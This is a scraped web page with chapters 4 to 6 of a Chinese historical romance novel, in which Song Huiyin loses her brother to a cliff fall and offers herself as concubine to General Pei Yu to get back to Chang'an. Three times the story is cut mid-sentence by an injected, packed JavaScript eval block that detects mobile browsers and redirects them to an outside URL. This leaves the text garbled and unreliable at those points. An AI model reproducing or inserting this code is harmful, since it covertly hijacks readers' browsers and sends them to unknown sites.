苏信有备而来,单凭她们三人无法脱身,若是激怒苏信,荒郊野岭处他若要动手无人能阻。 她将阿弟拉到身后,看向苏信:“那就叨扰了。” 宋景川在身后扯着她的衣袖,徽音回头给了他一个安抚的眼神,示意他先上车。马车再次缓缓驶动,车厢内,徽音取出笔墨,从包袱中找出一块白布,快速写下几个字塞给宋景川。 从此处去往临都驿需绕道而行,途径一处狭窄山脊,车马难行。苏信骑在马上,回头打量马车内的女子,心下满意至极。 他十三岁那年初见徽音便惊为天人,奈何她身份尊贵无法染指,如今佳人蒙尘落入他手,想到夜间就能一亲芳泽,他不禁加紧马腹向前驰去。 狭窄山脊只能供车单行,苏信一马当先骑在最前方,苏家部曲分别坠在马车前后,趁他们无心之际。 宋景川取出袖中短匕,狠狠扎在马臀之上,马儿剧痛之下撒丫猛冲向前,带倒车内三人,同时冲散前方的阵型。 徽音和颜娘稳住身形,解开捆着行李的绳索,将重物推下去堵住狭窄的谷口,阻挡苏信等人追赶的脚步。 她手心濡着汗,看着被阻住的苏信和落后的部曲,心上重石微微移开。可下一刻,就见苏信弃马跃过来,身形矫健,几步间抓上马车后辕跨上来。 徽音险些叫出声,心仿佛要跳出嗓子眼,旁边的颜娘已经扑上去撕打身形不稳的苏信,她也忙直起身,抄起木盘猛拍苏信小腿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16315277|182964||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 苏信到底是男子,又自幼习武,三两下便制住颜娘,抬手抓住徽音要跳下车。 颜娘扑上去一口咬在苏信腿上,苏信猛的吃痛,抬脚踹在颜娘心窝。徽音听见颜娘的哀叫声,瞬间怒急,毫无章法的顶在苏信胸膛,双手胡乱挥打。 宋景川听见动静回头,瞧见苏信掐住徽音的后颈,他眼眶瞬间染上红意,扔下缰绳一拳打在苏信脸上,解救出徽音,转身和苏信扭打在一起。 老旧的马车经不住四人的扭打,发出不堪重负的声音。眼见苏家的部曲就要追上来,宋景川一咬牙,抱住苏信翻滚下马车。 尘土飞扬,宋景川身上的白袍染上泥土,他跨坐在苏信身上,将人狠狠的按在地上,拳头如星点般朝苏信脸上招呼。 他怒道:“无耻之徒,也敢肖想我阿姊!” 苏信原本还算俊秀的面容立刻肿胀起来,躬起腰背奋力反击。 宋景川听见身后徽音焦急的呼喊,提醒他人已经追上来,让他赶紧上车。 这一愣神之际,他被底下的苏信掀翻在地,二人境地一时逆转,他只得双手抱头高喊:“阿姊,别管我,快跑!” 颜娘捡起缰绳奋力控制疯马,她自幼随父兄下地农耕,没有旁的手艺,唯独有一把子力气。 徽音伏在车内,焦急的看着扭打在一起的二人,不敢再出声打扰。她抿紧唇瓣,指甲用力的抓紧木板泛起白痕。 车尾飞扬的尘土糊住她的眼睛,她挥手散去飘起的尘烟,再抬眼看去,阿弟和苏信已经扭打到山崖边。 她心中大氦,将要出声提醒时,便看见阿弟右脚踩空,整个人向后坠去。她呆愣愣的伏在车上,不敢相信眼前的一切。 “傅母!停车!快停车!” 颜娘听见徽音破碎的语调,连忙转身回望去,就见徽音再次露出脆弱的一面,她的眼泪如断线的串珠般落下,哽咽道:“景川……坠崖了。” 她顺着方才的地方看去,那里只剩苏信瘦长的身形和他身后已经追上来的部曲。不见宋景川,颜娘掩下眼中的悲意,不顾徽音停车的哀求,狠狠的抽动马匹驾车离去。 直到看见临都驿站后颜娘才勒紧马匹,扶着虚脱的徽音下了马车。她们将身上仅剩的银钱塞给驻守的兵卒,恳求他们去派人去悬崖下搜救宋景川。 驻守的兵卒本不愿接收这苦差,他瞧见徽音泣泪,楚楚可怜的模样,终是不忍,派人禀报驿丞。 临都驿丞曾受过徽音父亲恩惠,他乍见故人之女落难,心中亦是五味杂陈。随即吩咐几个兵卒去宋景川落崖之地查看,又将徽音和颜娘安排在后院耳房,让她静待。 徽音坐立难安,不停的在屋内来回踱步,好不容易挨到兵卒搜查回来,却听到一个晴天霹雳的消息,她脑中一片晕眩,全靠颜娘扶着才能站稳。 她只看见那兵卒嘴巴上下启合:“我等去了宋公子坠崖之地查看,确实发现他的衣裳残片和血迹,可尸体……” 他瞧见徽音惨白的脸色止住话音,斟酌后再度开口:“并未瞧见宋公子的踪迹。” 天色渐晚,春日更深露重,寻常人都难以在野外待上一夜,何况坠崖重伤之人。徽音再次祈求临都驿丞:“大人,求您再多派些人手搜救我阿弟,求求您了。” 临都驿丞面色难为,他曾远远见过这位名动长安的姝女一面,那时她气度非凡,雍容华贵,身边围绕的皆是王公贵族,行走间一颦一笑皆动人心。 又何曾想过这位贵女会跌入泥潭,跪在他一个小小驿丞面前祈求。 他无奈道:“非我不愿相帮,只是今夜那位平定东瓯之乱的裴将军就要抵达临都驿,我等需好生接待于他,不可怠慢啊!” 徽音推开颜娘跪下去,重重的磕在地上,不住的流泪,“求您了,帮帮我……” 临都驿丞掏出袖中干净的锦帕递给徽音,扶起她,不忍开口:“近日那崖底常有野狗出没,那崖高十丈有余,若是摔下去必定再无生机,许是……” 他没将话说完,尸体估计已被野狗分食,尸骨无存。 徽音闭上眼,泪流满面。驿丞不忍再看,抬步离去,他心中酸涩,宋公那样高风亮节的人,说他贪赃枉法他是绝不信的,只恨小人攻讦。 想起身后屋内的姝色,他摇头叹气,宋公身死,一双儿女也不得善终,可怜好人无好报,这天杀的世道。 4. 第 4 章 西郊这处人影寂寥,四周一片漆黑,只有临都驿站这处灯火通明,前堂人影走动,隐约露出几声细碎的叮嘱。 二楼楼梯拐角处伏着两个粗衣婢女,跪趴在地上细细清理灰尘。 临都驿丞站在堂中,来回走动吩咐:“都擦仔细了,不能放过一处角落。” 面前走过一个低眉垂眼的婢女,他又将人叫住,“去看看庖厨那准备好没,所有食材都要用最新鲜的。” 婢女低声称“诺”,脚步快速朝后院迈去,庖厨里面已是热火朝天,刚杀好的鸡鸭鱼肉处理得干干净净放在陶盆中。 只有一处与这热闹不同,靠近后门的一间年久失修的屋舍,只在窗前点着一盏灯,将里头矮胖的身形照映出。 颜娘花了好大力气才将漏风处堵死。床榻内传来徽音细碎的哭腔,她连忙擦干净手来到床边。 榻上少女紧闭双眼,双手无意识的攥紧被褥,颈下软枕已经被眼泪打湿,露出一块深色水迹。 颜娘凑进徽音,伸手探在她额上,少女脸颊绯红,口中说起胡话,已经是病糊涂了。她只得翻出药包,去庖厨求人借个小炉煎药。 “徽音。” 是谁在唤她?徽意艰难的睁开眼,屋内的摆设令她熟悉,锦绫云母帷幔,青烟袅袅的错金博山炉,连枝花卉铜镜,这是宋府。 她撑在榻上环顾四周,发尾垂在胸前微微晃动,宋家已经没了,这是梦吗? “徽音,愣着做什么,快来。” 徽音抬头望去,宋夫人一袭深绿曲裾立在门口,眉眼温和沉静,笑着向她招手。她身后探出一个脑袋,朝她嚷嚷道:“阿姊,都日上三竿了你还在睡,羞不羞!” 徽音跌跌撞撞下榻,不可置信的望着两人笑意盈盈的模样。宋夫人继续朝她招手,向后走去,她跟着二人的身影一路来到长廊。 “徽音。” 长廊的尽头有人唤她,来人方正脸,蓄着长须,手中持一卷竹简,气质儒雅。 “你不是说想看战国策论吗?阿父替你寻来了。” 徽音再也忍不住痛哭出声。 颜娘捧着陶碗进门,取了块帕子沾湿,小心的拭去徽音额上的细汗,口中轻轻呼唤:“女郎,女郎。” 徽音陷入梦魇,悲伤和痛苦将她淹没,桎梏得她喘不过气,她听见有人在耳边轻唤她,声音柔和带着疼惜。她缓慢睁开眼,看见颜娘焦急的脸色,才知自己身在何处。 她动了下干涩的嗓子,如同抓住救命稻草般,“找到景川了吗?” 颜娘避开徽音希冀的目光,涩然道:“女郎,不论小郎君如何,你都得好好活着。” 这话如同宣判死刑,徽音绝望的阖上眼,泪珠不停涌落。颜娘擦干徽音的泪水,替她裹好被褥,心疼道:“女郎一日水米未进,奴去寻些吃食。” 她踏出房门,不放心般屡次回头。她看见徽音静静靠在榻上,唇色苍白但神情平静,这才放心离去。 老旧的窗棂封不上,细碎的北风吹进屋内,徽音感觉到有些微凉,她撑着虚弱的身体下榻。 短短的几息,她想起了很多往事,父母恩爱鹣鲽情深,景川年纪虽小,却极其亲近她这个阿姊,她曾是长安最幸福的小女郎。 每逢硕望日,阿母就会亲自下厨做一道荆州鱼羹,再开上一坛黄米酒,一家人坐在暖阁内,以筷叩碗,随声和歌。 “若有人兮山之阿,被薜荔兮带女萝。” 今日也是硕望日,却只有她一人。 徽音静静站在窗前,细碎的议论声传入她的耳中,是驿站中的后厨帮工,她们正围在一起择菜闲话。 “你们听说了吗,太子妃的人选定了。” “定的谁啊?” “廷尉苏公之女。” 徽音由衷的替苏静好感到高兴,成了太子妃,她就不必再受继母和小妹的刁难,不会再有敢欺负她了,不会再成为透明人了。 漫长的寂静后传来一道谄媚声音:“裴将军,楼上最好的房间下官已经收拾完毕,您直接上楼即可。” 徽音没有听见那裴将军的回答,只听见盔甲行走中碰撞的金属声,沉重的脚步声不显杂乱,很显然,这是一支训练有素的精兵。 又过半响,风越发大了,呼啸的风中参杂一道青年男音,徽音听见他道:“就地休整,明早出发。” 很短的两句,很快就被整齐洪亮的兵士回答淹没。她打开窗望去,视线越过前堂乌泱泱的黑甲,那人身形高大,一眼便能望到。 徽音借着不甚明亮的月色看清了他的容貌,剑眉斜飞入鬓,面容介于少年和青年之间,容貌俊美不凡。 是裴彧。赫赫有名的少年将军,天之骄子,他五年前离开长安时,徽音才十二岁,与他并不相熟。她曾见过裴彧一面,在裴后替太子选妃的宴席上。 除了他少年成名威震四方外,他最为人乐谈的便是其痴心不改,至死不渝的情事。他少时与河西柳氏女柳檀订亲,两人青梅竹马相伴长大。 三年前,裴彧奔袭匈奴误传死讯,等他立下赫赫战功再回长安时,柳檀已转嫁他人。 不过半年,柳檀新婚夫君意外身死,其夫家势大,逼迫她为亡夫守节一辈子。是当时风头正盛的裴彧,亲赴青州施压,使得柳檀夫家松口,改为守节三年。而裴彧也至今未娶,苦等佳人。 徽音盯着裴彧的背影看了几息,那人警觉甚高,寒凉的眸光朝徽音的方向射来,狭长的眼睛异常锐利,充满压迫。 徽音撤开手后退几步,再抬头时檐下已不见身影,只有兵甲缓缓退出的响动。 颜娘端着木盘推走进屋内,看见徽音站在窗前沉思,风打在她瘦弱的身躯下,仿佛要乘风而去。 她连忙上前掩好木窗,拉着徽音坐在桌前解释道:“方才驿站中来了位大人物,奴被拦在后厨不让出,女郎等急了吧。” 徽音端起漆盘上的栗粥进食,她饿过了头,腹中已经无饥饿感,泛着密密麻麻的痛楚。一碗温热栗粥下肚,手指渐渐回暖,她才觉得有些活过来。 颜娘端来的吃食很少,两碗栗粥并一个面饼,徽音将漆盘推过去,示意颜娘进食。 颜娘连忙摆手摇头:“吃食本就不多,还是女郎吃吧,婢子不饿。” 徽音起身走到衣架处披上外衫,摇曳的烛火照在她身上,身形窈窕秀丽。 她背对着门外,颜娘看不清她的神色,只听见她不喜不悲的声音,她道:“傅母,我不回荆州了,我要回长安。” 颜娘不明所以,愣愣的看着徽音坐在梳妆奁前梳头打扮,她将头发都散下,只在后脑挽了一个垂髻。 配着这副苍白的脸色,两颊散落的头发,一副美人西子图在她面前浮现,她听见徽音继续说道:“我要报仇,替我阿父翻案,我还要,苏信付出代价。” 颜娘蹲在徽音面前含泪道:“女郎要做什么?” 徽音俯身擦去她的眼泪,扬起笑意:“我要借裴彧回长安。” 颜娘双手捂住嘴唇,她明白徽音要做什么,她痛恨自己不能帮助她,只能眼睁睁的看着明珠蒙尘。她紧紧拽住徽音的手掌,坚定道:“不管女郎要做什么,奴都会陪着你,不离不弃。” 徽音仰头眨眼逼回眼眶的泪水,回握住颜娘的手掌,握住她仅剩的少女时光。她端起桌边凉透的汤药一饮而尽,苍白纤细的手指拭过唇角。 颜娘将徽音送至门前,目送她离去的背影,空中传来徽音微弱的声线:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16315278|182964||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吃饱了才有力气陪我杀回长安。” 颜娘擦去眼角的泪水,毫不犹豫的转身回房进食,她狠狠的咬着面饼,彷佛在撕咬那些欺负徽音的人。 临都驿靠近长安,由两个四合院组成,从上方俯瞰便是一个“日”字,前方是供来往官吏休憩的屋舍,后院则是马厩,庖厨,驿站公舍。整个院子用高大厚实的夯土墙围住,左右连廊相接。 裴彧身份尊贵,住在驿站内最好的房间内,徽音饶过后院来到驿站正堂,无视众兵将打量她的目光,停在堂内楼梯处。 她被人拦在楼下,面前的兵士持刀横在胸前,神情严肃:“此处戒严,女郎莫要擅闯。” 徽音摘下兜帽,低垂着眼睛恳求:“还请帮忙通报一下,就说,”她抬起头,琥珀般的眸子望着兵士,“宋氏徽音求见。” 驰厌被她出色的容颜晃了一眼,他下意识开口:“宋徽音?” 徽音抿着唇点头:“我有事求见裴将军,劳烦了。” 她掏出仅剩的珍珠耳铛递过去,驰厌年纪较轻,触碰到徽音微凉的手指脸瞬间羞红,他鬼迷心窍的接过耳铛,不好意思道:“你等等,我这就去通报一下。” 他身姿轻盈的跑向二楼,只剩徽音和另一个兵士留在楼梯处,那人偷偷觑着她,徽音眉眼弯弯的朝他笑笑,他立马转头摸着后脑勺,不敢再看一眼。 二楼卧房门外,驰厌脚步踌躇的停在门口,他方才脑子一热就冲上来,此刻才想起深寂夜里,貌美女郎孤身求见,是件多么诡异的事情。 去年他刚刚随着少将军回长安,就有那想谄媚讨好的人暗地里给少将军送女人。贿赂了他身边的近卫,将那女人偷偷的塞进房间,少将军发现后大发雷霆,不仅赶走了那女人,还将犯事的近卫军法处置,以儆效尤。 想其那严苛的军法,驰厌不禁打起寒颤。 少将军早就吩咐过,无紧要事莫打扰他休憩,驰厌停在裴彧房间门口,犹豫着想要离去。 他又想起徽音方才恳求的神色,他也曾听闻她的事迹,心中对她甚是怜悯,可抬起的手就是不敢敲下去。 他在卧房外举棋不定时,里头响起裴彧的声音:“杵在外头做什么,还不进来?” 驰厌擦着额头的细汗推门进去,房间内弥漫着温热的水汽,少将军应该是刚沐浴完,白色的中衣敞开,露出里头的劲瘦的肌理。他老实的跪在地上不敢多看,心中颇为后悔。 裴彧坐在靠窗的雕花木榻上,打开木窗透风,屋内湿热之气散去,他单腿支起,另一条脚踩在脚踏上。 随手懒洋洋的翻看案几上的木简,都是些裴皇后和裴夫人给他寄的家书,前些日子一直在行军赶路,他还没来得及看。 话翻来覆去无非都是那么两句,劝他保重身体以及让他早些回长安相看贵女,尽早成亲延绵子嗣。 裴彧无趣的丢开木简,看着地上跪着的驰厌问道:“何事?” 驰厌察觉他心情不爽,小心翼翼开口:“有人求见少将军,她……” “吞吞吐吐的作甚?” 他不敢再蒙混,老实的交代:“方才来了一女郎,有事求见裴将军,她说她叫宋徽音。” 裴彧翻阅竹简的手顿住,他问道:“宋徽音?她求见所为何事?” “属下不知。”驰厌咽了口水,紧张的看着裴彧。 裴彧看着他躲闪的目光,冷嗤道:“她给了你什么东西?” 驰厌暗叫不好,从腰间掏出那对珍珠耳档小心的放在木案的漆盒上,随后伏在地上等待责罚。 他余光瞥见裴彧起身走向内室,声音随后飘来:“自己下去领十军棍,再叫她回去。” 驰厌松了口气,略一拱手,退出屋外。 5. 第 5 章 裴彧回想起方才在院中看见的身影和那双含水的眼眸,宋徽音,他知道她。 驰厌方退出门外,准备关上门时又听见内室传来声音:“叫她上来,你陪着。” “是!”他大声回复,脚步不停的朝外走去。 徽音被带着上了二楼,耳边是驰厌碎碎念的声响,他是个心肠很好的人,深怕徽音惹怒裴彧,给徽音讲了很多注意的细节点。 徽音询问:“你们为何叫他少将军?” “军中都称大司马为大将军,少将军是大司马的儿子,是以我们都称他少将军。” 她感激的开口:“多谢你告诉我这些,还不知你的姓名?” 驰厌笑起来,露出两颗小虎牙:“我叫驰厌,今年十七岁,我十四岁就参军了,去年被选入少将军的近卫。我平日里喜欢射箭和骑马……” 他还未说完,两人已经走到卧房门口,驰厌乖觉的住嘴,上前敲门。 咚咚的敲门声仿佛磕在徽音的心上,她并不如表面看起来那般自得,手心泛起微汗。她并不清楚裴彧的为人,也不知道自己这美人计是否能奏效。 “进来。”声线如清泉击石,异常好听。 驰厌推开门,两人退去鞋履,棉质袜踩在木地板上,她跟在驰厌身后慢慢踏进去。 这是间三开的房屋,右侧里间是卧房处,深色云纹帷幔层层落下,看不清里头的布局。中间与左侧为起居处,窗户糊上麻布,外面罩着纱罗,透光且防蚊虫。 裴彧身着玄色长袍坐在卧榻上,头发用玉簪挽起,正在翻阅手中的木简。面前是一张紫檀木矮案,旁边是一方矮脚檀木几,上面摞着高高的竹筒册。 驰厌领着徽音走到正堂中央,恭敬的垂手,神色与方才大不相同,声音都变得沉稳起来:“少将军,宋女郎带到了。” 徽音身形从驰厌身后露出,她微微抬眼看见裴彧的侧脸,线条锋利流畅,眼角上扬,自带一股风流韵味。她收回视线,低头跪拜下去,“徽音拜见裴将军。” 裴彧抬头,沉沉的目光落在徽音身上,指节在紫檀木矮案上轻叩:“你找本将军何事?” 徽音抬头看了眼身旁的驰厌,神色欲言又止。驰厌也注意到她的为难,准备开口请求退下。 裴彧放下木简,给了驰厌一个闭嘴的眼神,随后看向徽音道:“有话直说便是,更深夜重,你我孤男寡女共处一室,传出去对你名声有异。” 以两人如今身份的地位,对谁有异不言而喻。 徽音自知不能在拖延,她睫毛轻颤,声音很轻:“妾仰慕裴将军已久,求将军垂怜。” 她说完俯身磕头,将头埋在地板上等待回应,胸腔处如鼓点般跳动,快得她有些听不清其他动静。 静谧的内室被矮案上滚落的竹简声打破,竹简摔在铺满毛毡垫的地板上,滚落几圈后散开,露出里头墨色的字体。 裴彧轻扣的指节停顿,他缓缓抬头,问:“你说什么?” 驰厌也吃惊的盯着徽音,眼底布满诧异。 徽音将方才的话复述一遍,她认真道:“妾仰慕将军,请将军垂帘。” 裴彧坐在原地,被徽音直白的话语惊了片刻,他无语的凝视趴在地上的人,再转头看着目瞪口呆的驰厌,整个人都气笑了。 他抬手将毛笔蘸墨,手腕用劲的点出,墨色水珠飞速击在驰厌额头,留下一道墨痕,配上驰厌呆愣的脸色,显得异常滑稽。 驰厌愣愣抬手摸上额头,对上裴彧冷冽的目光,浑身打了个激灵。在听见裴彧开口让他“滚”后,驰厌不敢耽误,眨眼间就消失在门外。 徽音伏在地上听着动静,心沉到了谷底。从驰厌口中述说的种种以及她进门以来裴彧的表现,他不近女色,果然如传闻那般,对前未婚妻情根深种,她的美人计大概失效了。 她听见裴彧道:“宋徽音,你莫不是以为全天下的男人都难逃你的美色勾引?” “妾不是这个意思。”徽音直起身,看见裴彧正在把玩手中的玉珏,嘴角挂着明晃晃的嘲讽。 裴彧侧眼看过去,地上的女子身姿纤薄,面带绯红,唇色浅淡如褪色的芍药,青丝自然垂在脑后,比壁画上的美人图还要美上三分。 他单手支头,从头到尾的将徽音打量了个遍。 徽音不喜欢他审视的眼神,但她没有办法,只能像个货物一样仍由裴彧打量。 而后,她听到了一句极近嘲讽的话语,“你现在就是脱光在我面前,我也对你没有兴趣。” 徽音脸上唯一的血色也消失殆尽,她设想过很多,裴彧也许会欣然接受她,也许会直接将她赶走,但她没有想到,他会这样直白的羞辱人。 她再也待不下去,起身想要快速逃离这间让她将要窒息的屋子。 裴彧的声音再度响起:“站住,我说让你走了吗?” 徽音强忍着怒火和羞愤,浑身僵硬的等在原地。 裴彧掀起眼皮看去,视线里是徽音乌黑的发髻、白皙的后颈以及瘦弱的背脊。 他命令道:“转过来。” 徽音僵直的转身,视线落在地板上,她后悔了,裴彧不是她能招惹起的人,他年纪虽轻,却是刀山火海拼杀出来实打实的将军。 他出身尊贵,身份众多,身上矜贵的气息掩盖了满身的杀意,叫人觉得他似乎并不可怕。 让人不禁忘记,他两年前杀降一事。数万俘虏因他一句话,死在了焉支山,流出的血将草地染成赤红。 徽音只祈求他不要计较今日一事,放她走,裴彧要杀她,易如反掌,甚至不需要理由。 她深吸一口,轻声道:“是我冒犯了将军,请您宽恕。” 裴彧指尖把玩一片竹简,语气玩味:“你方才说仰慕我,仰慕我什么?” 徽音敏锐的察觉他态度的转变,她缓缓抬头,视线里是他玄色纹金的曲裾下摆。 她感受到头顶审视的目光,背脊紧绷着,斟酌道:“裴将军少年天才,姿容出众,长安城内女郎们都钦慕于你,我亦如此。” “哦,原是贪图我的美色。” 徽音:“……是。”她不知裴彧是如何得出这个结论,只好顺着他的话承认。 裴彧换了个舒服 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16315279|182964||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的姿势,单手撑头,倚靠在凭栏上,他朝徽音招手,“过来。” 徽音走上前,跪在他脚边,两人距离挨的很近,近到徽音能闻见他身上的香薰味,一丝丝钻入她的鼻尖,让她心惊。 裴彧静静的打量面前纤弱的女子,她垂着头,修长的脖颈如同脆弱的白天鹅,他一掌就能捏死。但无疑,她是个很美的女子,鬒发如云,容颜如花明艳。 他从前也听闻过宋徽音的名号,裴后为太子选妃时也曾询问过他,那时裴后有言,宋徽音秀外慧中,端庄淑惠,堪当太子妃之位。 后来的选妃宴上,他与宋徽音有过一面之缘,那时她正和身边友人闲聊,今日梳的妆容如何,霓裳坊新制的衣裳如何。他顿时嗤之以鼻,认为她只是个空有容貌的绣花枕头。 裴彧将竹片竖在眼前,这是他母亲不远万里寄来,催促他回长安纳表妹为妾的信函。 他视线落在低垂头颅的徽音身上,漫不经心道:“你可想清楚了,我身边可不是那么好待的。” 徽音不明白他为什么突然改变主意,但现下的情况容不得她再退缩,她硬着头皮道,“妾不悔。” 裴彧视线落在她微湿的青丝上,问:“可愿为妾?” 徽音塌下肩膀,微微点头。 裴彧口吻冷淡:“行,明日一早随我回长安。” 徽音俯身下去,以额触手:“妾还有一事相求,我阿弟今日于小崖山坠崖,生死不知,求将军出手相帮。” 她等了很久,久到徽音以为裴彧会拒绝时,裴彧起身了。 玄色纹金衣摆自徽音身前掠过,裴彧身上的皂角清香扑面而来,他脚步停在门口,与方才玩世不恭截然不同,威风凛凛,声音刚劲有力:“驰厌,速点一队人马去小崖山底,搜寻……” 不等他回头示意,徽音已在身后接话:“宋景川,年十五,身着白袍。” 裴彧眉间微微上挑,轻轻颚首,复述了一遍徽音的话。须臾,驰厌的声音自下传来,声音洪亮:“诺!” 甲胄或兵器相交的的清脆声传来,徽音听见驿站外数十马匹齐声嘶鸣,铁骑金属马具重重踏在地上,地面隐隐震颤。 听闻裴彧有一支铁甲精骑,随他北征匈奴,斩将搴旗,数次越过焉支山,饮马冰河。 徽音透过窗子望去,瞥见这支骑兵的冰山一角,数十轻骑奔驰而去,唯有马蹄得得与佩刀晃荡的叮当声,风啸马鸣,戈甲铿锵。 “你还要看到何时?”微凉的声音响起。 徽音收回视线,跪坐在原处,双手交叉在腹前,手拢散乱的衣裙,垂头不语。 裴彧看她一副乖觉模样,心中啼笑皆非,“做我的妾,一则,我说东你不许往西,二则不许生事,给我惹麻烦。” 徽音捏着袖角,避开裴彧的审视目光,轻声回答:“妾明白。” “这第三,未曾想好,以后再说,你可以走了。”裴彧不耐烦的挥挥手,转身进了内室。 徽音撑着发麻的腿脚缓慢起身,最后,她看见层层落下的帷幔,摇曳昏暗的火光,以及那个伸着懒腰肩宽窄腰的身影。 6. 第 6 章 已近二更,驿站内灯盏陆陆续续熄灭,先前忙碌走动的帮工也都已睡下歇息,只余几盏陶灯亮在木廊处。 颜娘提着绢灯焦急的等在栅栏门外,视线频频投向重兵把守的正堂,距离徽音出去已经半个时辰,她有些心慌。 终于,她看见转角处出现一抹素色缓缓走来,眉眼影在兜帽里看不清晰,陶灯的光晕照在她身后,熠熠生辉。颜娘迎上去,视线上下打量徽音,发现她无事后才放下心,挽着徽音回房。 屋内水汽弥漫,圆形木桶中的热气缓缓上升,徽音靠在浴桶边缘,长发挽在脑后,眉间染上水意,恍惚盯着水面的倒影。 她想了许多,阿父贪污一案看似证据确凿,细究起来却有很大的漏洞,那笔被贪污的军需至今还未找到。 宋父和宋夫人皆出自富户乡绅,家产颇丰,更不提宋父为官多年攒的家产不知几何,说他贪污,动机为何? 阿父入狱五日便自尽身亡,即使案件存在疑点,也没有人会在这个节骨眼上跳出来质疑。何况,阿父性格坚韧,徽音绝不信他会在案件未查清前就自裁认罪,他一定是被人害死的。 是太子,还是吴王,抑或是三公? 颜娘在她身后忙忙碌碌,徽音抬手捧起热水淋在身上,从她回来后颜娘不曾问过,她主动开口:“明日一早,我们随裴彧回长安。” 徽音看不见颜娘的表情,只听见她瓮声瓮气的声音:“女郎真的决定了吗?” 她艰难的在浴桶内转身,拉住颜娘的手臂,热气将她的小脸熏得泛红,徽音扬起笑容,眉眼弯弯,这副惹人怜爱的模样使颜娘招架不住。 颜娘叹气的抱住徽音,如同誓言般呢喃:“奴会一直陪着女郎。” 徽音靠在颜娘怀中,如雏鸟归林。宋夫人身体不好,平日里多以修养为主,她的精神气不容许徽音和景川闹她。是以徽音出生后就是由颜娘一手带大的,等到大些晓事后才和宋夫人渐渐亲密起来。 徽音紧紧抱着颜娘,埋在她怀中委屈道:“我以后就是裴彧的妾了,傅母,你说阿父和阿母他们会怪我吗,会怨我辱了宋家的门风吗?” 颜娘双眼含泪,温厚的大掌抚摸徽音的脑袋,轻轻哄着:“不会的,家主和夫人心疼女郎还来不及,怎会怪你?” 徽音闭着眼睛,脸上沾满泪痕,她喃喃道:“那就好。” —— 日初时分,鸟啼声不绝于耳。葱郁林间的官道上,一队黑甲精兵整齐有肃的列在官道上,领头的将军骑在一匹通体乌黑的乌骓上,威风凛凛。 他身后跟着整装待发的数百精骑,最后方的精兵步距整齐,眼神直视前方,无人侧目。 赶着进城的百姓伫立在官道两边,三三两两的凑在一起,盯着这群人手中泛着寒光的银枪,不敢议言。队列最后面坠着一辆青木纱幔马车,缓缓跟在身后。 骑在前方的方木眼神微动,抬脚轻轻碰了下侧方的驰厌,用眼神询问道:“马车内是何人?” 驰厌紧闭嘴巴,分毫微动,他尚未从昨日的惊险中回神,更未曾想过少将军竟然真的收下了徽音为妾。但他架不住方木的频频骚扰,只能用气音回道:“有本事自己去问少将军!” 他说完轻夹马腹,向前一个身位甩开方木。方木向后看去,马车轻纱帐被微风吹起,露出一侧的黛青衣角,他想起先前那女子上车的场景,带着帷帽看不清面容,但身形婀娜看得出是个窈窕佳人。 他又回头望着前方裴彧劲瘦的身影,捂着嘴巴开始偷笑,他家少将军终于开窍了。 猝不及防一个石头砸来,方木龇牙咧嘴的捂着脑袋抬头看去,他家少将军正一脸寒霜的盯着他,薄唇轻启:“军纪不严,下去领十杖。” 罚完方木,裴彧扫了眼坠在后面的马车,面无表情转头加快行军速度。 徽音恹恹的靠在马车内,颜娘在一旁替她按摩穴位,她趴在颜娘怀中,闭目养神。 昨日睡得太晚,今早又担心误了启程的时间,她早早就收拾好等在驿站内,一夜未睡好,加之道路陡坡,马车狭小不稳,此刻脑袋异常晕眩。 临近午时,抵达中东门,城门外已久候一队赤甲兵士,整齐肃穆的注视来人的方向。 一轻骑官员策马驶来,他头戴武冠身着甲胄,阔面脸,眼神如鹰,在距离裴彧三丈处翻身下马,恭敬的立在裴彧面前,拱手行礼:“城门校尉李赣,奉陛下令在此迎接裴将军。” 裴彧勒紧缰绳,朝他颚首,吩咐驰厌将徽音先行送回裴府,他进宫向陛下复命。徽音的马车走远后,裴彧收回视线,跟着校尉朝着南宫朱雀门方向骑行而去。 南朝宫殿威仪地广,规模巨大,占长安城大半面积,包含未央宫,长乐宫,建章宫及北宫,色彩富丽典雅、威严壮丽。 宣室殿外,裴彧卸甲退履上殿,守在一旁的王常侍上前引领他走进宣室殿,语气恭敬:“恭贺裴将军平定东瓯,您少年英才,实乃我南朝之福。” 裴彧低头整理手腕上的护袖,光影打在他右侧脸上,嘴角带笑:“臣子本分,常侍谬赞。” 宣室殿分前,中后三殿,前殿是举行大朝会,接见属臣的地方。中殿则是陛下书房,与近臣商议政务之地。 进入中殿后,殿内无人,龙脑香在博山炉内静静燃烧,正中间摆放一座彩绘云母屏风,右侧兵器架上挂着皇帝佩剑“思召”,刻有铭文上应星宿,下斩奸邪。地板下设炭火地龙,室内温暖如春,泛着淡淡的椒香。 